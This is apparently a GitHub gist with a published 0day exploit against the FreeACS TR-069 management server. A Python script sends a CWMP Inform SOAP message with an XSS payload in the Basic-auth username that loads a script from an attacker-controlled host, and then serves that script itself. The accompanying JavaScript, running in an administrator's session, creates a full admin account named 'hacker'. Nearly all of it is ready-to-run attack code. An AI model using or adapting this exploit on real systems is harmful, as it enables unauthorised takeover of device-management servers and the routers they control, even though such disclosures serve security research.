Created
April 7, 2017 14:08
-
-
Save 0x27/d0255cad5894a4bb80fb6d8fd49da326 to your computer and use it in GitHub Desktop.
FreeACS Remote Takeover 0day (Persistent XSS via CWMP NOTIFY -> Add Admin User
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# worlds cheapest exploit - made by copypasting from stackoverflow. | |
# released at BSides Edinburgh. | |
# Exploits freeacs - freeacs.com | |
# TL;DR: | |
# - Persistent XSS via CWMP Notify message | |
# - XSS fires in admin session and adds a user | |
# HACK THE PLANET! | |
# Darren Martyn - @info_dox - 7th March 2017 | |
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer | |
import requests | |
class myHandler(BaseHTTPRequestHandler): | |
def do_GET(self): | |
print "{+} Got call from %s - you probably pwned one ;)" %(self.client_address[0]) | |
print "{+} Dumping headers for extra info...\n%s" %(self.headers) | |
f = open("poc.js", "rb") | |
poc = f.read() | |
f.close() | |
self.send_response(200) | |
self.send_header('Content-type','application/javascript') | |
self.end_headers() | |
self.wfile.write(poc) | |
return | |
def runserver(port): | |
try: | |
server = HTTPServer(('', port), myHandler) | |
print 'Started httpserver on port ' , port | |
server.serve_forever() | |
except KeyboardInterrupt: | |
print '^C received, shutting down the web server' | |
server.socket.close() | |
print "{+} First we fire our XSS payload to the target device." | |
from requests.auth import HTTPBasicAuth | |
url = "http://192.168.1.7:8080/tr069/" | |
print "{+} Target is: %s" %(url) | |
xml = """\ | |
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema/instance/" xmlns:xsd="http://www.w3.org/2001/XMLSchema/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0"> | |
<soap:Body> | |
<cwmp:Inform> | |
<DeviceId xsi:type="cwmp:DeviceIdStruct"> | |
<Manufacturer xsi:type="xsd:string[64]">Serafeim</Manufacturer> | |
<OUI xsi:type="xsd:string[6]">123456</OUI> | |
<ProductClass xsi:type="xsd:string[64]">Testing</ProductClass> | |
<SerialNumber xsi:type="xsd:string[64]">12312131</SerialNumber> | |
</DeviceId> | |
<Event soap:arrayType="cwmp:EventStruct[1]"> | |
<EventCode xsi:type="xsd:string[64]">6 CONNECTION REQUEST</EventCode> | |
</Event> | |
<MaxEnvelopes xsi:type="xsd:unsignedInt">10</MaxEnvelopes> | |
<CurrentTime xsi:type="xsd:dateTime">2017-03-05T16:29:48</CurrentTime> | |
<RetryCount xsi:type="xsd:unsignedInt">0</RetryCount> | |
<ParameterList soap:arrayType="cwmp:ParameterValueStruct[2]"> | |
<ParameterValueStruct> | |
<Name xsi:type="xsd:string">InternetGatewayDevice.ManagementServer.URL</Name> | |
<Value xsi:type="xsd:string">https://127.0.0.1:80</Value> | |
</ParameterValueStruct> | |
<ParameterValueStruct> | |
<Name xsi:type="xsd:string">InternetGatewayDevice.ManagementServer.ConnectionRequestURL</Name> | |
<Value xsi:type="xsd:string">http://127.0.0.1:24582/CONNECT</Value> | |
</ParameterValueStruct> | |
</ParameterList> | |
</cwmp:Inform> | |
</soap:Body> | |
</soap:Envelope>""" | |
headers = {'SOAPAction': ''} | |
#auth=HTTPBasicAuth('"/><script>alert("xss ;)")</script>', 'pass') | |
auth=HTTPBasicAuth('"/><script src="//kitten/x.js"></script>', 'pass') # XXX: CHANGE THIS URL | |
r = requests.post(url=url, data=xml, headers=headers, auth=auth) | |
print r.headers | |
print r.status_code | |
print r.text | |
## | |
print "{+} Now we launch our XSS serving server ;)" | |
runserver(port=80) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// remove the alert prompts we used for debugging | |
// can be vastly improved. PoC made by copy pasting from stack overflow | |
alert("This is a remote script executing!") | |
alert("Going to add a user now, named hacker, with password of hacker.") | |
function post(path, params, method) { | |
method = method || "post"; | |
var form = document.createElement("form"); | |
form.setAttribute("method", method); | |
form.setAttribute("action", path); | |
for(var key in params) { | |
if(params.hasOwnProperty(key)) { | |
var hiddenField = document.createElement("input"); | |
hiddenField.setAttribute("type", "hidden"); | |
hiddenField.setAttribute("name", key); | |
hiddenField.setAttribute("value", params[key]); | |
form.appendChild(hiddenField); | |
} | |
} | |
document.body.appendChild(form); | |
form.submit(); | |
} | |
function mkuser(){ | |
post("/web/web?page=permissions&cmd=create&async=true",{page: "permissions", cmd: "create", async: "true", header: "true", user_name: "hacker", user_fullname: "hacker", user_pass: "hacker", user_admin: "true", configure: "true", web_access: "support", web_access: "limited-provisioning", web_access: "full-provisioning", web_access: "report", web_access: "staging", web_access: "monitor", unittype: ".", detailsubmit: "Create new user"}) | |
} | |
setTimeout(mkuser, 1000) // I cant remember why I used setTimeout |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment